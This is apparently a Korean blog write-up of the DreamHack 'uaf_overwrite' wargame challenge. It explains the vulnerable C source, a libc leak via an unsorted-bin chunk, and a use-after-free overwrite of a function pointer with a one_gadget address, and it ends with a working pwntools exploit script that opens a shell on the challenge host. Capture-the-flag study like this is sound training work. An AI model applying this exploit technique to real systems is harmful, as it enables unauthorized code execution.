소스코드 및 보호 기법
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
*소스코드 설명
1. 같은 크기의 구조체 & 전역 변수 human, robot, custom, c_idx & print_name()
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
-같은 크기의 구조체인 Human과 Robot이 정의되어 있다.
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
-구조체 Human을 가리키는 포인터 변수 human
-구조체 Robot을 가리키는 포인터 변수 robot
-char 포인터형 배열 custom
-int형 c_idx
가 전역변수로 설정되어 있다.
void print_name() { printf("Name: %s\n", robot->name); }
-robot->name을 출력해주는 print_name()이 정의되어있다.
2. human_func(), robot_func(), custom_func()
a. human_func()
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
-malloc()을 통해 구조체 Human의 크기 만큼의 공간을 동적으로 할당받아 그 주소를 전역변수 human에 저장한다.
-human->name = "Human"으로 초기화 하고,
-사용자에게서 입력을 받아 입력값으로 human->weight와 human->age를 초기화 한다.
-그 후 human을 free한다
b. robot_func()
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
-malloc()을 통해 구조체 Robot의 크기 만큼의 공간을 동적으로 할당받아 그 주소를 전역변수 robot에 저장한다.
-robot->name = "Robot"으로 초기화 하고,
-사용자에게서 입력을 받아 입력값으로 robot->weight를 초기화한다.
-그 후 robot->fptr가 NULL ptr가 아니라면 robot->fptr()를 실행시키고, robot->fptr가 NULL ptr라면 robot->fptr가 print_name()을 가리키게 해
robot->fptr(robot);
을 통해 print_name()을 호출한다
-그 후 robot을 free 해준다.
c. custom_func()
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
-size를 입력받아 size가 0x100보다 크다면, 해당 크기만큼의 공간을 malloc()을 통해 할당해준다.
-data를 입력받아, 입력받은 값을 할당받은 공간에 입력한 후, 할당된 공간의 데이터를 출력해준다.
-idx를 입력받아, idx < 10 이고 custom[idx]가 NULL이 아니라면 custom[idx]를 free 한다.
-그 후 c_idx를 1 증가시킨다
exploit 설계
0. 보호기법
보호기법으로 Full RELRO가 적용되어 있어 GOT overwrite와 같은 공격은 어렵다. 따라서 hook overwrite와 같은 방법을 고려해볼 수 있다.
하지만 해당 소스코드에는 hook overwrite 없이 robot->fptr를 조작하여 원하는 함수를 실행시킬 수 있으므로, robot->fptr를 통해 셸을 획득할 것이다.
1. libc base Leak
-glibc 2.29 미만의 버전에서는 unsorted bin에 들어가는 첫 번째 청크의 fd와 bk에는 특정 libc의 주소가 들어가게 된다(main_ arena의 특정 주소)
-따라서 우리는 (1) unsorted bin에 청크를 추가한 뒤, (2) unsorted bin에 있던 청크를 다시 할당해서 해당 청크의 fd, bk에 설정돼있는 값을 읽고 (3) fd, bk에 적혀있는 값(main_arena의 특정 주소)에서 main_arena의 특정 주소<->libc base의 offset을 빼는 방식을 통해 libc base의 주소를 구할 수 있다.
**주의할 점 1: 해제된 청크는 tcache와 fast bin에 들어가지 않는 경우에 unsorted bin에 들어가게 된다. 따라서 unsorted bin에 청크를 넣기 위해서 해제할 청크의 크기는 1040(0x410)byte보다 커야 한다.
따라서 0x410보다 큰 크기의 청크를 할당하기 위해서 우리는 custom_func()를 이용해야 할 것이다.
주의할 점 2: unsorted bin의 chunk와 top chunk는 맞닿으면 안 된다. unsorted bin에 있는 청크는 병합(consolidation) 대상이므로, 이 둘이 맞닿으면 청크가 병합된다. 따라서 우리는 아래 사진과 같이 chunk를 두 개 할당하고 처음으로 할당한 chunk를 unsorted bin에 넣어야 한다.
다음은 위 과정을 수행하는 것을 사진과 함께 설명한 것이다.
1. chunk 두 개를 할당한 후 처음 할당한 chunk를 free 시켜준다(unsorted bin과 top chunk가 맞닿지 않게 하기 위해 두 개를 할당한 것)
이때 처음 할당할 때 Free idx로 -1을 준 것은 아무 청크도 free 시키지 않겠다는 뜻이다. 위의 소스코드의 custom_func()를 보면
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
에서 idx는 unsigned int형이다. 따라서 -1을 주게 되면 idx = 0xffffffff이 되므로 아무런 chunk도 해제되지 않는 것이다.(왜 idx = -1 == 0xffffffff가 되는지 모르겠다면, 구글에 2의 보수를 검색해보도록 하자)
2. 이 상태에서 heap의 구조를 살펴보자
-우리가 해제한 청크(0x555555757250)가 Top chunk와 맞닿지 않고 예쁘게 unsorted bin에 담겨져 있는 걸 확인할 수 있다.
-이제 이 청크의 fd와 bk 값을 토대로 libc base와의 offset을 구해보자. 이를 위해선 먼저 libc base의 주소를 알아야 한다. 이는 vmmap 명령어를 통해 확인할 수 있다.
vmmap 명령어를 통해 확인한 결과 libc base는 0x7ffff79e2000임을 알 수 있다.
이와 별개로 우리가 해제한 청크의 fd 값인 0x7ffff7dcdca0는 libc 내에 있는 값인 것 또한 확인할 수 있다.
-이제 fd(unsorted bin에 처음으로 들어간 chunk의 fd, bk가 가리키는 libc내 특정 주소)와 libc base와의 offset을 구해보자
offset은 0x3ebca0이다.
2. 함수 포인터 덮어쓰기(robot->fptr)
-struct Human과 struct Robot은 같은 크기의 구조체이다.
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
-위의 소스코드에는 청크를 할당 받거나, free 할 때 데이터를 초기화 해주는 코드가 없다.(==Use-After-Free 취약점 존재)
-Use-After-Free 버그를 이용하면 human->age와 robot->fptr는 같은 위치를 사용하게 된다.
-따라서 human_func()를 호출하여 human->age에 우리가 원하는 함수의 주소를 넣어준 뒤 이를 free 하고, robot_func()에서 chunk를 할당받게 한다면, 해당 chunk는 human에서 free한 chunk를 불러와서 사용하게 되므로, fptr는 우리가 human->age에 넣어줬던 주소값을 가리키고 robot_func()의
if (robot->fptr)
robot->fptr();
를 통해 우리가 human->age에 넣어줬던 주소에 있는 함수를 실행하게 될 것이다.
-따라서 우리는 human->age가 one_gadget의 함수를 가리키도록 설정할 것이다.
*제약 조건을 만족하는 적절한 one gadget을 찾아보도록 하자
[rsp+0x70] == NULL임을 확인할 수 있다. 따라서 우리는 0x10a41c에 해당하는 one_gadget을 쓸 것이다.
(제약 조건을 확인하는 것은 때에 따라 달라질 수 있다. 따라서 제약 조건을 확인하는 것이 마땅치 않을 때에는 one_gadget을 brute force를 통해 사용하는 것도 좋은 방법이다)
이제 exploit을 위한 모든 준비가 끝났다.
exploit 코드를 짜보도록 하자
exploit(uaf_overwrite.py)
from pwn import *
context.arch = 'amd64'
p = remote('host3.dreamhack.games', 20319)
e = ELF('./uaf_overwrite')
### [1]Leak addr of libc_base through UAF bug ###
p.sendlineafter('> ', str(3).encode())
p.sendlineafter('Size: ', str(1072).encode())
p.sendafter('Data: ', 'LLLL')
p.sendlineafter('Free idx: ', str(-1).encode())
p.sendlineafter('> ', str(3).encode())
p.sendlineafter('Size: ', str(1072).encode())
p.sendafter('Data: ', 'LLLL')
p.sendlineafter('Free idx: ', str(-1).encode())
p.sendlineafter('> ', str(3).encode())
p.sendlineafter('Size: ', str(1072).encode())
p.sendafter('Data: ', 'LLLL')
p.sendlineafter('Free idx: ', str(0).encode())
p.sendlineafter('> ', str(3).encode())
p.sendlineafter('Size: ', str(1072).encode())
p.sendafter('Data: ', 'A')
p.recvuntil('Data: ')
libc_base = u64(p.recvn(6)+b'\x00'*2)-0x3ebc41
p.sendlineafter('Free idx: ', str(-1).encode())
one_gadget = libc_base + 0x10a41c
print('libc_base:', hex(libc_base))
print('one_gadget:', hex(one_gadget))
### [2] execute one_gadget ###
p.sendlineafter('> ', str(1).encode())
p.sendlineafter('Human Weight: ', str(100).encode())
p.sendlineafter('Human Age: ', str(one_gadget).encode())
p.sendlineafter('> ', str(2).encode())
p.sendlineafter('Robot Weight: ', str(100).encode())
p.interactive()
**주의할 점: libc_base를 구할 때 우리가 위에서 구한 offset인 0x3ebca0이 아니라 0x3ebc41을 해주는 이유는 custom_func()를 호출하고 "Data: "에서 입력한 데이터인 'A(0x41)'가 fd의 한 바이트를 덮기 때문이다.
이때 fd에 적힌 주소(libc의 특정 주소)-offset = libc_base인데, libc_base의 마지막 12비트는 0이라는 특징이 있다.
따라서 우리가 입력한 data('A'==0x41) 때문에 fd에는 0x7f...c41이 적혀있을 것이고 libc_base의 하위 12비트는 0이라는 특성 때문에 offset으로 0x3ebc41을 빼준 것이다.
fd(libc의 특정 주소(==main_arena+xx)) - offset = libc_base(0x7f...000) 이니까.
'DreamHack: System Hacking > F Stage 11' 카테고리의 다른 글
Use After Free 개념 설명 (0) | 2023.08.01 |
---|---|
Background: ptmalloc2 (0) | 2023.07.12 |